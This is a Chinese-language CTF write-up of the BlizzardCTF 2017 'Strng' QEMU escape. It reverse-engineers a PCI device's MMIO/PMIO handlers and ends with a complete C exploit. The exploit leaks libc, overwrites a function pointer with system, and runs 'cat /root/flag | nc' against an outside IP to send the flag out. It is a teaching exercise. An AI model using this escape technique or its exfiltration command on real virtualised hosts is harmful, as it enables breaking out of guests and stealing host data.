CTF QEMU 虚拟机逃逸之BlizzardCTF 2017 Strng

前面的部分更多的是翻译和学习

熟悉题目

我们在qemu题目中中经常看到一些简写

内存映射I/O (Memory-mapped I/O —— MMIO)
端口映射I/O (port-mapped I/O —— PMIO)

qemu的漏洞一般在设备中,这个题目是一个PCI设备模拟器的漏洞

首先看看是哪个设备,可以从qemu的-device参数中看到设备名是strng

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

由于qemu-system-x86_64程序是有符号的,所以在ida可以搜到相关函数

在strng_class_init这函数里面可以看到设备id是0x11E9

1
2
3
4
5
6
7
8
9
10
11
void __fastcall strng_class_init(ObjectClass_0 *a1, void *data)
{
ObjectClass_0 *v2; // rax

v2 = object_class_dynamic_cast_assert(a1, "pci-device", "/home/rcvalle/qemu/hw/misc/strng.c", 154, "strng_class_init");
WORD1(v2[2].object_cast_cache[3]) = 0x11E9;
BYTE4(v2[2].object_cast_cache[3]) = 0x10;
v2[2].type = (Type)pci_strng_realize;
HIWORD(v2[2].object_cast_cache[3]) = 0xFF;
LOWORD(v2[2].object_cast_cache[3]) = 0x1234;
}

上面的数字可以跟下面的倒数第二个意义对应

1
2
3
4
5
6
7
8
[email protected]:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

-v可以查看更加详细信息,看到内存是0xfebf1000的256字节大小的,PMIO端口是0xc050开始的8个端口号

1
2
3
4
5
6
7
8
9
10
11
[email protected]:~$ lspci -v
......

00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]

......

我们在目录中也可以看到这个设备的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[email protected]:~$ ll /sys/devices/pci0000\:00/0000:00:03.0/
total 0
drwxr-xr-x 3 root root 0 Nov 18 03:30 ./
drwxr-xr-x 11 root root 0 Nov 18 03:30 ../
-rw-r--r-- 1 root root 4096 Nov 18 03:52 broken_parity_status
-r--r--r-- 1 root root 4096 Nov 18 03:38 class
-rw-r--r-- 1 root root 256 Nov 18 03:38 config
-r--r--r-- 1 root root 4096 Nov 18 03:52 consistent_dma_mask_bits
-rw-r--r-- 1 root root 4096 Nov 18 03:52 d3cold_allowed
-r--r--r-- 1 root root 4096 Nov 18 03:38 device
-r--r--r-- 1 root root 4096 Nov 18 03:52 dma_mask_bits
-rw-r--r-- 1 root root 4096 Nov 18 03:52 enable
lrwxrwxrwx 1 root root 0 Nov 18 03:52 firmware_node -> ../../LNXSYSTM:00/device:00/PNP0A03:00/device:06/
-r--r--r-- 1 root root 4096 Nov 18 03:31 irq
-r--r--r-- 1 root root 4096 Nov 18 03:52 local_cpulist
-r--r--r-- 1 root root 4096 Nov 18 03:52 local_cpus
-r--r--r-- 1 root root 4096 Nov 18 03:52 modalias
-rw-r--r-- 1 root root 4096 Nov 18 03:52 msi_bus
drwxr-xr-x 2 root root 0 Nov 18 03:52 power/
--w--w---- 1 root root 4096 Nov 18 03:52 remove
--w--w---- 1 root root 4096 Nov 18 03:52 rescan
-r--r--r-- 1 root root 4096 Nov 18 03:38 resource
-rw------- 1 root root 256 Nov 18 03:52 resource0
-rw------- 1 root root 8 Nov 18 03:52 resource1
lrwxrwxrwx 1 root root 0 Nov 18 03:52 subsystem -> ../../../bus/pci/
-r--r--r-- 1 root root 4096 Nov 18 03:52 subsystem_device
-r--r--r-- 1 root root 4096 Nov 18 03:52 subsystem_vendor
-rw-r--r-- 1 root root 4096 Nov 18 03:30 uevent
-r--r--r-- 1 root root 4096 Nov 18 03:38 vendor

查看设备id是device目录

1
2
[email protected]:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9

查看映射可以看resource(三列分别是开始地址 结束地址 标志),第一行是MMIO,第二行是PMIO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:~$ cat /sys/devices/pci0000\:00/0000:00:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

查看IO端口命令是,我这有点问题,看到的都是0000

1
[email protected]:~$ cat /proc/ioports

接下来我们回到ida,查看pci_strng_realize函数,这里注册了一些MMIO和PMIO的操作,去读写映射的内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall pci_strng_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
unsigned __int64 v2; // ST08_8

v2 = __readfsqword(0x28u);
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1],
&pdev->qdev.parent_obj,
&strng_mmio_ops,
pdev,
"strng-mmio",
0x100uLL);
pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1].io_regions[0].size,
&pdev->qdev.parent_obj,
&strng_pmio_ops,
pdev,
"strng-pmio",
8uLL);
if ( __readfsqword(0x28u) == v2 )
pci_register_bar(pdev, 1, 1u, (MemoryRegion_0 *)&pdev[1].io_regions[0].size);
}

以第一个strng_mmio_ops,哪里有对于读写对应的函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.data.rel.ro:0000000000A4A2A0 strng_mmio_ops  dq offset strng_mmio_read; read
.data.rel.ro:0000000000A4A2A0 ; DATA XREF: pci_strng_realize+F↑o
.data.rel.ro:0000000000A4A2A0 dq offset strng_mmio_write; write
.data.rel.ro:0000000000A4A2A0 dq 0 ; read_with_attrs
.data.rel.ro:0000000000A4A2A0 dq 0 ; write_with_attrs
.data.rel.ro:0000000000A4A2A0 dd DEVICE_NATIVE_ENDIAN ; endianness
.data.rel.ro:0000000000A4A2A0 db 4 dup(0)
.data.rel.ro:0000000000A4A2A0 dd 0 ; valid.min_access_size
.data.rel.ro:0000000000A4A2A0 dd 0 ; valid.max_access_size
.data.rel.ro:0000000000A4A2A0 db 0 ; valid.unaligned
.data.rel.ro:0000000000A4A2A0 db 7 dup(0)
.data.rel.ro:0000000000A4A2A0 dq 0 ; valid.accepts
.data.rel.ro:0000000000A4A2A0 dd 0 ; impl.min_access_size
.data.rel.ro:0000000000A4A2A0 dd 0 ; impl.max_access_size
.data.rel.ro:0000000000A4A2A0 db 0 ; impl.unaligned
.data.rel.ro:0000000000A4A2A0 db 3 dup(0)
.data.rel.ro:0000000000A4A2A0 db 4 dup(0)
.data.rel.ro:0000000000A4A2A0 dq 3 dup(0) ; old_mmio.read
.data.rel.ro:0000000000A4A2A0 dq 3 dup(0) ; old_mmio.write

调试

这个我直接copy参考文章作者的了,为了方便调试,关闭了aslr,那么PIE也是不起作用了

还有不推荐使用kvm模式,据说会让你的vm变得很快,具体我之后可能会都试试有什么差别,将原因写在这,也许不会写。

1
2
3
4
5
6
7
8
9
10
11
12
$ cat comline.txt
aslr off
# strng_mmio_read
b *0x555555964390
# strng_mmio_write
b *0x5555559643E0
# strng_pmio_read
b *0x5555559644B0
# strng_pmio_write
b *0x555555964520

run -m 1G -device strng -hda my-disk.img -hdb my-seed.img -nographic -L pc-bios/ -device e1000,netdev=net0 -netdevuser,id=net0,hostfwd=tcp::5555-:22

-q模式可以让gdb不输出版本信息,更加清爽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ gdb -q ./qemu-system-x86_64
pwndbg: loaded 176 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./qemu-system-x86_64...done.
gdb-peda$ source comline.txt
Breakpoint 1 at 0x555555964390
Breakpoint 2 at 0x5555559643e0
Breakpoint 3 at 0x5555559644b0
Breakpoint 4 at 0x555555964520
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff627b700 (LWP 26045)]
[New Thread 0x7fffe0dac700 (LWP 26046)]
[New Thread 0x7fffdec0b700 (LWP 26047)]
main-loop: WARNING: I/O thread spun for 1000 iterations
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
......
......

MMIO相关函数

我们设置一下opaque的结构体为STRNGState就可以了,不然看到的就只是opaque指针加上偏移了(当然这个题目将源码开源才能知道这个opaque时STRNGState,不然就只能将就这看了)

1
2
3
4
5
6
7
8
9
uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

result = -1LL;
if ( size == 4 && !(addr & 3) )
result = opaque->regs[addr >> 2];
return result;
}

strng_mmio_read接收地址还有大小,而且需要size为4,而且地址最低两个bit都是0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
hwaddr v4; // rsi
int v5; // ST08_4
uint32_t v6; // eax
unsigned __int64 v7; // [rsp+18h] [rbp-20h]

v7 = __readfsqword(0x28u);
if ( size == 4 && !(addr & 3) )
{
v4 = addr >> 2;
if ( (_DWORD)v4 == 1 )
{
opaque->regs[1] = ((__int64 (__fastcall *)(STRNGState *, hwaddr, uint64_t))opaque->rand)(opaque, v4, val);
}
else if ( (unsigned int)v4 < 1 )
{
if ( __readfsqword(0x28u) == v7 )
((void (__fastcall *)(_QWORD))opaque->srand)((unsigned int)val);
}
else
{
if ( (_DWORD)v4 == 3 )
{
v5 = val;
v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
LODWORD(val) = v5;
opaque->regs[3] = v6;
}
opaque->regs[(unsigned int)v4] = val;
}
}
}

上面ida反编译错误的,上面的是rand函数是没有参数的(当然接下来贴的函数也会有这样的问题),

这个函数也是需要size为4,而且地址最低两个bit都是0。

上面对要写入的地址右移两个bit再进行判断,其实赋值的地址跟地址相关的是在最后一行,好像我们可以控制写入的地址,但是遗憾的是PCI设备内部会检查你写入的地址时不时在256字节范围

PMIO函数

在前面查看pci设备的时候,我们已经知道I/O ports是映射在0xc050处的8个字节

下面函数可以看到我们的地址只能是0或者4,那么就是对0xc050或者0xc054进行读写操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint32_t v4; // edx

result = -1LL;
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = opaque->addr;
if ( !(v4 & 3) )
result = opaque->regs[v4 >> 2];
}
}
else
{
result = opaque->addr;
}
}
return result;
}

下面是write的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // eax
__int64 v5; // rax
unsigned __int64 v6; // [rsp+8h] [rbp-10h]

v6 = __readfsqword(0x28u);
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = opaque->addr;
if ( !(v4 & 3) )
{
v5 = v4 >> 2;
if ( (_DWORD)v5 == 1 )
{
opaque->regs[1] = ((__int64 (__fastcall *)(STRNGState *, signed __int64, uint64_t))opaque->rand)(
opaque,
4LL,
val);
}
else if ( (unsigned int)v5 < 1 )
{
if ( __readfsqword(0x28u) == v6 )
((void (__fastcall *)(_QWORD))opaque->srand)((unsigned int)val);
}
else if ( (_DWORD)v5 == 3 )
{
opaque->regs[3] = ((__int64 (__fastcall *)(uint32_t *, signed __int64, uint64_t))opaque->rand_r)(
&opaque->regs[2],
4LL,
val);
}
else
{
opaque->regs[v5] = val;
}
}
}
}
else
{
opaque->addr = val;
}
}
}

上面可以看到,我们通过strng_pmio_write的addr为0分支(即写port:0xc050)控制opaque->addr,之后可以通过strng_pmio_read的addr==4分支可以任意读,通过strng_pmio_write的addr==4分支又可以任意写。

所以就是写入0xc050就是写入到opaque->addr
写入0xc054就是将我们的val写到opaque->regs[opaque->addr >> 2] 位置

uaf.io作者给出了一些访问port I/O的方法

1、通过dd命令访问resource1

1
2
3
4
dd if=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 - read the index 0
dd if=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 skip=1 - use index 0 as offset address to read from
dd if=XXX of=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 - write XXX to index 0
dd if=XXX of=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 skip=1 - use index 0 as offset to write to

2、通过dd命令访问/dev/port,不过由于/dev/port是字符设备,是一个字符一个字符访问的,所以不满足size==4的要求
3、当然还是通过in/out系列函数访问比较好

下面是其中两个函数在io.h文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static __inline unsigned int
inl (unsigned short int __port)
{
unsigned int _v;

__asm__ __volatile__ ("inl %w1,%0":"=a" (_v):"Nd" (__port));
return _v;
}

static __inline void
outl (unsigned int __value, unsigned short int __port)
{
__asm__ __volatile__ ("outl %0,%w1": :"a" (__value), "Nd" (__port));
}

但是我们需要权限才能访问端口,0x000-0x3ff可以用ioperm(from, num, turn_on)

比如ioperm(0x300,5,1); 给 0x300 到 0x304 端口的访问权限

但是更高的端口就要用iopl(3)来获得权限,这个可以获得范围所有端口权限。当然我们需要root用户来运行程序才行。

in,out系列函数如下,分别是写入/读取一个字节(b结尾),两个字节(w结尾),四个字节(l结尾)

1
2
3
4
5
6
7
8
9
10
#include <sys/io.h >

iopl(3);
inb(port);
inw(port);
inl(port);

outb(val,port);
outw(val,port);
outl(val,port);

漏洞利用

利用思路
1、通过strng_pmio_write和strng_pmio_read去泄露libc,因为STRNGState里面有三个函数指针
2、我们将我们要执行的命令通过strng_mmio_write写到对应的内存
3、最后我们将rand_r函数指针覆盖为system去执行我们的命令

我们先调试看看内存,用dd命令向0xc050写入一个4吧

1
2
[email protected]:~$ echo 4 > test
[email protected]:~$ sudo dd if=test of=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1

那gdb这边就会断下来了

1
2
Thread 4 "qemu-system-x86" hit Breakpoint 4, strng_pmio_write (opaque=0x555557e2b8c0, addr=0x0, val=0xa34, size=0x2) at /home/rcvalle/qemu/hw/misc/strng.c:91
91 /home/rcvalle/qemu/hw/misc/strng.c: No such file or directory.

由于echo有换行所以数字4(0x34)后面会有0x0a,所以导致最终val时0xa34,而且size时2,所以我们还是写三个东西到test里面,加上换行就是4个了

1
2
[email protected]:~$ echo 666 > test
[email protected]:~$ sudo dd if=test of=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1

看一下数据结构,可以看到我们操作的东西都在addr及后面地址,所以0xfa0偏移相当于我们的起始偏移(偏移为0的位置)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, copyof_3815)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009F0 pmio MemoryRegion_0 ?
00000AF0 addr dd ?
00000AF4 regs dd 64 dup(?)
00000BF4 db ? ; undefined
00000BF5 db ? ; undefined
00000BF6 db ? ; undefined
00000BF7 db ? ; undefined
00000BF8 srand dq ? ; offset
00000C00 rand dq ? ; offset
00000C08 rand_r dq ? ; offset
00000C10 STRNGState ends

而randr_r距离addr时0x118

1
2
>>> hex(0xc08-0xaf0)
'0x118'

调试到 0x555555964598 <strng_pmio_write+120> mov dword ptr [rdi + 0xaf0], edx下一行!!!
查看内存,可以看到我们的666已经写进去了,包括换行,而且最后那三个就是srand,rand,rand_r函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ x /36gx $rdi + 0xaf0
0x555557e2c3b0: 0x000000000a363636 0x0000000000000000
0x555557e2c3c0: 0x0000000000000000 0x0000000000000000
0x555557e2c3d0: 0x0000000000000000 0x0000000000000000
0x555557e2c3e0: 0x0000000000000000 0x0000000000000000
0x555557e2c3f0: 0x0000000000000000 0x0000000000000000
0x555557e2c400: 0x0000000000000000 0x0000000000000000
0x555557e2c410: 0x0000000000000000 0x0000000000000000
0x555557e2c420: 0x0000000000000000 0x0000000000000000
0x555557e2c430: 0x0000000000000000 0x0000000000000000
0x555557e2c440: 0x0000000000000000 0x0000000000000000
0x555557e2c450: 0x0000000000000000 0x0000000000000000
0x555557e2c460: 0x0000000000000000 0x0000000000000000
0x555557e2c470: 0x0000000000000000 0x0000000000000000
0x555557e2c480: 0x0000000000000000 0x0000000000000000
0x555557e2c490: 0x0000000000000000 0x0000000000000000
0x555557e2c4a0: 0x0000000000000000 0x0000000000000000
0x555557e2c4b0: 0x0000000000000000 0x00007ffff65268d0
0x555557e2c4c0: 0x00007ffff6526f60 0x00007ffff6526f70

我们先泄露srand的值(即上面的0x00007ffff65268d0),由于我用的是ubuntu 16.04运行的qemu,所以我们泄露两次,一次泄露4个字节,先看看偏移

泄露的代码是result = opaque->regs[v4 >> 2];,所以偏移是相对于opaque->regs,regs偏移是0xaf4,而且regs是uint_t32数组

1
2
3
4
gdb-peda$ x /wx $rdi + 0xaf4 + 0x104
0x555557e2c4b8: 0xf65268d0
gdb-peda$ x /wx $rdi + 0xaf4 + 0x108
0x555557e2c4bc: 0x00007fff

泄露简析:

先写好pmio的读和写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void pmio_write(unsigned int val, unsigned int addr) {
outl(val, addr);
}

unsigned int pmio_read(unsigned int offset) {
if (offset == 0) {
// 获取opaque->addr的值,其实这题没用到这功能
return inl(pmio_base);
}else{
// 设置opaque->addr的值为offset,再将opaque->regs[offset >> 2]的值读出,其中regs为uint_32_t类型
pmio_write(offset, pmio_base);
return inl(pmio_base + 4);
}
}

之后我们就可以读取了

1
2
3
4
5
6
7
8
9
10
11
12
if (0 != iopl(3)) {
perror("iopl permissions");
return -1;
}

// leak srand, 分两次一次泄露4个byte
// 泄露高位,再泄露低位
srand_addr = pmio_read(0x108);
srand_addr = srand_addr << 32;
srand_addr = srand_addr | pmio_read(0x104);

printf("srand_addr: %llx\n", srand_addr);

我们看看调试中状态,先往opaque->addr写入0x108

1
2
gdb-peda$ x /gx $rdi +0xaf0
0x555557e2c3b0: 0x0000000000000108

再到strng_pmio_read那里泄露出来

1
0x555555964501 <strng_pmio_read+81>     mov    eax, dword ptr [rdi + rdx*4 + 0xaf4]

查看下内存,先泄露的高4为,同理低四位也如此

1
2
gdb-peda$ x /wx $rdi + $rdx*4 + 0xaf4
0x555557e2c4bc: 0x00007fff

那我们就可以获得srand的地址

1
2
[email protected]:~$ sudo ./exp
srand_addr: 7ffff65268d0

接下里是我们写入的命令"cat /root/flag | nc 192.168.52.181 12345",ip端口自行修改,但是总长度最好是4的倍数,不然最后自己补\x00了

1
2
3
>>> from pwn import *
>>> map(hex, unpack_many("cat /root/flag | nc 192.168.52.181 12345"))
['0x20746163', '0x6f6f722f', '0x6c662f74', '0x7c206761', '0x20636e20', '0x2e323931', '0x2e383631', '0x312e3235', '0x31203138', '0x35343332']

值得注意的是我们写入0xc偏移的时候,会进入到rand_r分支,导致opaque->regs[2]的位置被更改,不信看看rand_r的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int
rand_r (unsigned int *seed)
{
unsigned int next = *seed;
int result;
next *= 1103515245;
next += 12345;
result = (unsigned int) (next / 65536) % 2048;
next *= 1103515245;
next += 12345;
result <<= 10;
result ^= (unsigned int) (next / 65536) % 1024;
next *= 1103515245;
next += 12345;
result <<= 10;
result ^= (unsigned int) (next / 65536) % 1024;
*seed = next; <=================================就是这里会更改传进的seed
return result;
}

所以这样写是有问题的,知道参考文章为何掉转过来了吧

1
2
mmio_write(0x20746163, 8);
mmio_write(0x6f6f722f, 0xc);

要这样写

1
2
3
4
5
6
7
8
9
10
mmio_write(0x6f6f722f, 0xc);
mmio_write(0x20746163, 8);
mmio_write(0x6c662f74, 0x10);
mmio_write(0x7c206761, 0x14);
mmio_write(0x20636e20, 0x18);
mmio_write(0x2e323931, 0x1c);
mmio_write(0x2e383631, 0x20);
mmio_write(0x312e3235, 0x24);
mmio_write(0x31203138, 0x28);
mmio_write(0x35343332, 0x2c);

最后就是改写rand_r指针,调用rand_r了

1
2
3
4
5
	// 改写rand_r指针为system
pmio_arb_write(system_addr , 0x114);
//调用opaque->rand_r(&opaque->regs[2])
//// 666 并不重要可以随意写
mmio_write(666, 12);

调用rand_r通过pmio也行

1
2
3
// 或者调用pmio也行(下面的666也是随意)
pmio_write(12, pmio_base);
pmio_write(666, pmio_base+4);

最终完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)

unsigned int pmio_base = 0xc050;
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:03.0/resource0";
// unsigned int mmio_addr_base = 0xfebf1000;
// unsigned int mmio_size = 256;

void pmio_write(unsigned int val, unsigned int addr) {
outl(val, addr);
}

void pmio_arb_write(unsigned int val, unsigned int offset) {
// 假如offset右移2的值为1,3会调用rand和rand_r
int tmp = offset >> 2;
if ( tmp == 1 || tmp == 3) {
puts("PMIO write address is a command");
return;
}
pmio_write(offset, pmio_base);
pmio_write(val, pmio_base + 4);
}

unsigned int pmio_read(unsigned int offset) {
if (offset == 0) {
// 获取opaque->addr的值,其实这题没用到这功能
return inl(pmio_base);
}else{
// 设置opaque->addr的值为offset,再将opaque->regs[offset >> 2]的值读出,其中regs为uint_32_t类型
pmio_write(offset, pmio_base);
return inl(pmio_base + 4);
}
}

void mmio_write(unsigned int val, unsigned int offset) {
int fd;
void *map_base, *virt_addr;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(map_base == (void *) -1) {
perror("mmap");
exit(-1);
}
virt_addr = map_base + (offset & MAP_MASK);
*((unsigned int*) virt_addr) = val;
if(munmap(map_base, MAP_SIZE) == -1) {
perror("munmap");
exit(-1);
}
close(fd);
}

unsigned int mmio_read(unsigned int offset) {
int fd;
void *map_base, *virt_addr;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(map_base == (void *) -1) {
perror("mmap");
exit(-1);
}
virt_addr = map_base + (offset & MAP_MASK);
if(munmap(map_base, MAP_SIZE) == -1) {
perror("munmap");
exit(-1);
}
close(fd);
return *((unsigned int*) virt_addr);
}

int main(int argc, char const *argv[])
{
unsigned long long srand_addr;
unsigned long long libc_base;
unsigned long long system_addr;

// 获得端口访问权限
if (0 != iopl(3)) {
perror("iopl permissions");
return -1;
}

// leak srand, 分两次一次泄露4个byte
// 泄露高位,再泄露低位
srand_addr = pmio_read(0x108);
srand_addr = srand_addr << 32;
srand_addr = srand_addr | pmio_read(0x104);
printf("srand_addr: %llx\n", srand_addr);
system_addr = srand_addr + 43712;
printf("system_addr: %llx\n", system_addr);

// 将我们要执行的命令写入MMIO,从rand_r偏移8处开始写,因为调用的时候是opaque->rand_r(&opaque->regs[2]);
// >>> from pwn import *
// >>> map(hex, unpack_many("cat /root/flag | nc 192.168.52.181 12345"))
// ['0x20746163', '0x6f6f722f', '0x6c662f74', '0x7c206761', '0x20636e20', '0x2e323931', '0x2e383631', '0x312e3235', '0x31203138', '0x35343332']
mmio_write(0x6f6f722f, 0xc);
mmio_write(0x20746163, 8);
mmio_write(0x6c662f74, 0x10);
mmio_write(0x7c206761, 0x14);
mmio_write(0x20636e20, 0x18);
mmio_write(0x2e323931, 0x1c);
mmio_write(0x2e383631, 0x20);
mmio_write(0x312e3235, 0x24);
mmio_write(0x31203138, 0x28);
mmio_write(0x35343332, 0x2c);

// 改写rand_r指针为system
pmio_arb_write(system_addr , 0x114);


// 调用 strng_mmio_write中addr >> 2为3时候的分支,即调用opaque->rand_r(&opaque->regs[2])
// 666 并不重要可以随意写
// mmio_write(666, 12);
// 或者调用pmio也行(下面的666也是随意)
pmio_write(12, pmio_base);
pmio_write(666, pmio_base+4);

return 0;
}

在主机伪造一个flag文件,就可以收到flag了

或者来个弹计算器也行,这个好像很装逼。。。

system(“gnome-calculator”)就行

补充——关于编译与上传exp

编译一般是静态编译了,这里目标系统是32的,本地调试上传exp我用scp,比赛的话据说是用base64。。。。。

我写了个脚本,但是第二条命令,需要先ssh正常连接一次,信任那个公钥,才能正常使用

1
2
3
[email protected]:~/qemu_escape$ cat compile_uploadexp.sh
gcc -o exp -m32 -static ./exp.c
sshpass -p "passw0rd" scp -P 5555 exp [email protected]:/home/ubuntu

参考

主要参考
https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html

其他参考
https://ray-cp.github.io/archivers/qemu-pwn-basic-knowledge
https://web.cs.elte.hu/local/Linux-bible/IO-Port-Programming/node2.html
http://man7.org/linux/man-pages/man2/ioperm.2.html

自愿打赏专区